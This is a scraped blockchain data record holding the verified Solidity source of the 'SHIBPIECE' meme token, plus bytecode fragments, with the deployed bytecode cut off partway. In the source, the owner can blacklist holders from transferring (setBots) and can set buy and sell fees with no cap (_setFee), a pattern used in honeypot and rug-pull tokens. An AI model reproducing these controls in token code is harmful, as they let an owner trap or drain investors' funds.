a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212207dbb3bd497945235ec1b65342d65d5d2a603992521de88e98bb6b7d70c821f3c64736f6c63430006000033
{"success": true, "error": null, "results": {}}
6,839
0x08f817569a12515c0a91149cf0d755f797e091c1
/** *Submitted for verification at Etherscan.io on 2022-04-06 */ /** SHIBA+One Piece=SHIBPIECE WANTED SHIBA=SHIPIECE HODL+EARN=SHIPIECE SHIPIECE WILL BE MARINE KING OF ERC */ //https://shibpiece.com/ //https://t.me/ShibPieceERC // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SHIBPIECE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _FeeoFSell; uint256 private _FeeOfBuy; address payable private _feeAddress; string private constant _name = " Shibpiece Coin"; string private constant _symbol = "SHIBPIECE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x099e0483eC9727F35B908A097b607CC3F4fb7E4A); _FeeOfBuy = 12; _FeeoFSell = 12; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _FeeOfBuy; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _FeeoFSell; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { uint burnAmount = contractTokenBalance/3; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 10000000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 10000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setFee(uint256 buyFee,uint256 sellFee) external onlyOwner() { _FeeOfBuy = buyFee; _FeeoFSell = sellFee; } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a146103ba578063c3c8cd80146103e3578063c9567bf9146103fa578063dd62ed3e14610411578063dd726e7c1461044e5761012a565b8063715018a6146102f95780638da5cb5b1461031057806395d89b411461033b5780639e78fb4f14610366578063a9059cbb1461037d5761012a565b8063273123b7116100e7578063273123b714610228578063313ce5671461025157806346df33b71461027c5780636fc3eaec146102a557806370a08231146102bc5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631bbae6e0146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612617565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906126e1565b6104b4565b60405161018e919061273c565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612766565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612781565b6104e4565b005b3480156101f757600080fd5b50610212600480360381019061020d91906127ae565b610596565b60405161021f919061273c565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612801565b61066f565b005b34801561025d57600080fd5b5061026661075f565b604051610273919061284a565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612891565b610768565b005b3480156102b157600080fd5b506102ba61081a565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612801565b6108c0565b6040516102f09190612766565b60405180910390f35b34801561030557600080fd5b5061030e610911565b005b34801561031c57600080fd5b50610325610a64565b60405161033291906128cd565b60405180910390f35b34801561034757600080fd5b50610350610a8d565b60405161035d9190612617565b60405180910390f35b34801561037257600080fd5b5061037b610aca565b005b34801561038957600080fd5b506103a4600480360381019061039f91906126e1565b610da6565b6040516103b1919061273c565b60405180910390f35b3480156103c657600080fd5b506103e160048036038101906103dc9190612a30565b610dc4565b005b3480156103ef57600080fd5b506103f8610eee565b005b34801561040657600080fd5b5061040f610f9c565b005b34801561041d57600080fd5b5061043860048036038101906104339190612a79565b61126b565b6040516104459190612766565b60405180910390f35b34801561045a57600080fd5b5061047560048036038101906104709190612ab9565b6112f2565b005b60606040518060400160405280600f81526020017f2053686962706965636520436f696e0000000000000000000000000000000000815250905090565b60006104c86104c1611399565b84846113a1565b6001905092915050565b600069d3c21bcecceda1000000905090565b6104ec611399565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610579576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057090612b45565b60405180910390fd5b69021e19e0c9bab240000081111561059357806010819055505b50565b60006105a384848461156a565b610664846105af611399565b61065f8560405180606001604052806028815260200161349060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610615611399565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abf9092919063ffffffff16565b6113a1565b600190509392505050565b610677611399565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fb90612b45565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610770611399565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f490612b45565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610822611399565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a690612b45565b60405180910390fd5b60004790506108bd81611b23565b50565b600061090a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8f565b9050919050565b610919611399565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099d90612b45565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f5348494250494543450000000000000000000000000000000000000000000000815250905090565b610ad2611399565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5690612b45565b60405180910390fd5b600f60149054906101000a900460ff1615610baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba690612bb1565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c789190612be6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cdf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d039190612be6565b6040518363ffffffff1660e01b8152600401610d20929190612c13565b6020604051808303816000875af1158015610d3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d639190612be6565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610dba610db3611399565b848461156a565b6001905092915050565b610dcc611399565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5090612b45565b60405180910390fd5b60005b8151811015610eea57600160066000848481518110610e7e57610e7d612c3c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ee290612c9a565b915050610e5c565b5050565b610ef6611399565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7a90612b45565b60405180910390fd5b6000610f8e306108c0565b9050610f9981611bfd565b50565b610fa4611399565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611031576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102890612b45565b60405180910390fd5b61106830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669d3c21bcecceda10000006113a1565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110b1306108c0565b6000806110bc610a64565b426040518863ffffffff1660e01b81526004016110de96959493929190612d27565b60606040518083038185885af11580156110fc573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111219190612d9d565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff02191690831515021790555069021e19e0c9bab24000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611225929190612df0565b6020604051808303816000875af1158015611244573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112689190612e2e565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112fa611399565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611387576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137e90612b45565b60405180910390fd5b81600c8190555080600b819055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611410576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140790612ecd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361147f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147690612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161155d9190612766565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d090612ff1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611648576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163f90613083565b60405180910390fd5b6000811161165557600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116ac57600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117505750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611aaf576000600981905550600c54600a81905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118115750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118675750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561187f5750600f60179054906101000a900460ff165b156118b457600061188f836108c0565b90506010546118a78284611e7690919063ffffffff16565b11156118b257600080fd5b505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561195f5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119b55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119cc576000600981905550600b54600a819055505b60006119d7306108c0565b9050600f60159054906101000a900460ff16158015611a445750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a5c5750600f60169054906101000a900460ff165b15611aad576000600382611a7091906130d2565b90508082611a7e9190613103565b9150611a8981611ed4565b611a9282611bfd565b60004790506000811115611aaa57611aa947611b23565b5b50505b505b611aba838383611f24565b505050565b6000838311158290611b07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afe9190612617565b60405180910390fd5b5060008385611b169190613103565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611b8b573d6000803e3d6000fd5b5050565b6000600754821115611bd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bcd906131a9565b60405180910390fd5b6000611be0611f34565b9050611bf58184611f5f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c3557611c346128ed565b5b604051908082528060200260200182016040528015611c635781602001602082028036833780820191505090505b5090503081600081518110611c7b57611c7a612c3c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d469190612be6565b81600181518110611d5a57611d59612c3c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611dc130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113a1565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e25959493929190613287565b600060405180830381600087803b158015611e3f57600080fd5b505af1158015611e53573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808284611e8591906132e1565b905083811015611eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec190613383565b60405180910390fd5b8091505092915050565b6001600f60156101000a81548160ff0219169083151502179055506000811115611f0657611f053061dead8361156a565b5b6000600f60156101000a81548160ff02191690831515021790555050565b611f2f838383611fa9565b505050565b6000806000611f41612174565b91509150611f588183611f5f90919063ffffffff16565b9250505090565b6000611fa183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121d9565b905092915050565b600080600080600080611fbb8761223c565b95509550955095509550955061201986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120ae85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e7690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120fa816122ee565b61210484836123ab565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516121619190612766565b60405180910390a3505050505050505050565b60008060006007549050600069d3c21bcecceda100000090506121ac69d3c21bcecceda1000000600754611f5f90919063ffffffff16565b8210156121cc5760075469d3c21bcecceda10000009350935050506121d5565b81819350935050505b9091565b60008083118290612220576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122179190612617565b60405180910390fd5b506000838561222f91906130d2565b9050809150509392505050565b60008060008060008060008060006122598a600954600a546123e5565b9250925092506000612269611f34565b9050600080600061227c8e87878761247b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006122e683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611abf565b905092915050565b60006122f8611f34565b9050600061230f828461250490919063ffffffff16565b905061236381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e7690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6123c0826007546122a490919063ffffffff16565b6007819055506123db81600854611e7690919063ffffffff16565b6008819055505050565b6000806000806124116064612403888a61250490919063ffffffff16565b611f5f90919063ffffffff16565b9050600061243b606461242d888b61250490919063ffffffff16565b611f5f90919063ffffffff16565b9050600061246482612456858c6122a490919063ffffffff16565b6122a490919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612494858961250490919063ffffffff16565b905060006124ab868961250490919063ffffffff16565b905060006124c2878961250490919063ffffffff16565b905060006124eb826124dd85876122a490919063ffffffff16565b6122a490919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083036125165760009050612578565b6000828461252491906133a3565b905082848261253391906130d2565b14612573576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256a9061346f565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156125b857808201518184015260208101905061259d565b838111156125c7576000848401525b50505050565b6000601f19601f8301169050919050565b60006125e98261257e565b6125f38185612589565b935061260381856020860161259a565b61260c816125cd565b840191505092915050565b6000602082019050818103600083015261263181846125de565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006126788261264d565b9050919050565b6126888161266d565b811461269357600080fd5b50565b6000813590506126a58161267f565b92915050565b6000819050919050565b6126be816126ab565b81146126c957600080fd5b50565b6000813590506126db816126b5565b92915050565b600080604083850312156126f8576126f7612643565b5b600061270685828601612696565b9250506020612717858286016126cc565b9150509250929050565b60008115159050919050565b61273681612721565b82525050565b6000602082019050612751600083018461272d565b92915050565b612760816126ab565b82525050565b600060208201905061277b6000830184612757565b92915050565b60006020828403121561279757612796612643565b5b60006127a5848285016126cc565b91505092915050565b6000806000606084860312156127c7576127c6612643565b5b60006127d586828701612696565b93505060206127e686828701612696565b92505060406127f7868287016126cc565b9150509250925092565b60006020828403121561281757612816612643565b5b600061282584828501612696565b91505092915050565b600060ff82169050919050565b6128448161282e565b82525050565b600060208201905061285f600083018461283b565b92915050565b61286e81612721565b811461287957600080fd5b50565b60008135905061288b81612865565b92915050565b6000602082840312156128a7576128a6612643565b5b60006128b58482850161287c565b91505092915050565b6128c78161266d565b82525050565b60006020820190506128e260008301846128be565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612925826125cd565b810181811067ffffffffffffffff82111715612944576129436128ed565b5b80604052505050565b6000612957612639565b9050612963828261291c565b919050565b600067ffffffffffffffff821115612983576129826128ed565b5b602082029050602081019050919050565b600080fd5b60006129ac6129a784612968565b61294d565b905080838252602082019050602084028301858111156129cf576129ce612994565b5b835b818110156129f857806129e48882612696565b8452602084019350506020810190506129d1565b5050509392505050565b600082601f830112612a1757612a166128e8565b5b8135612a27848260208601612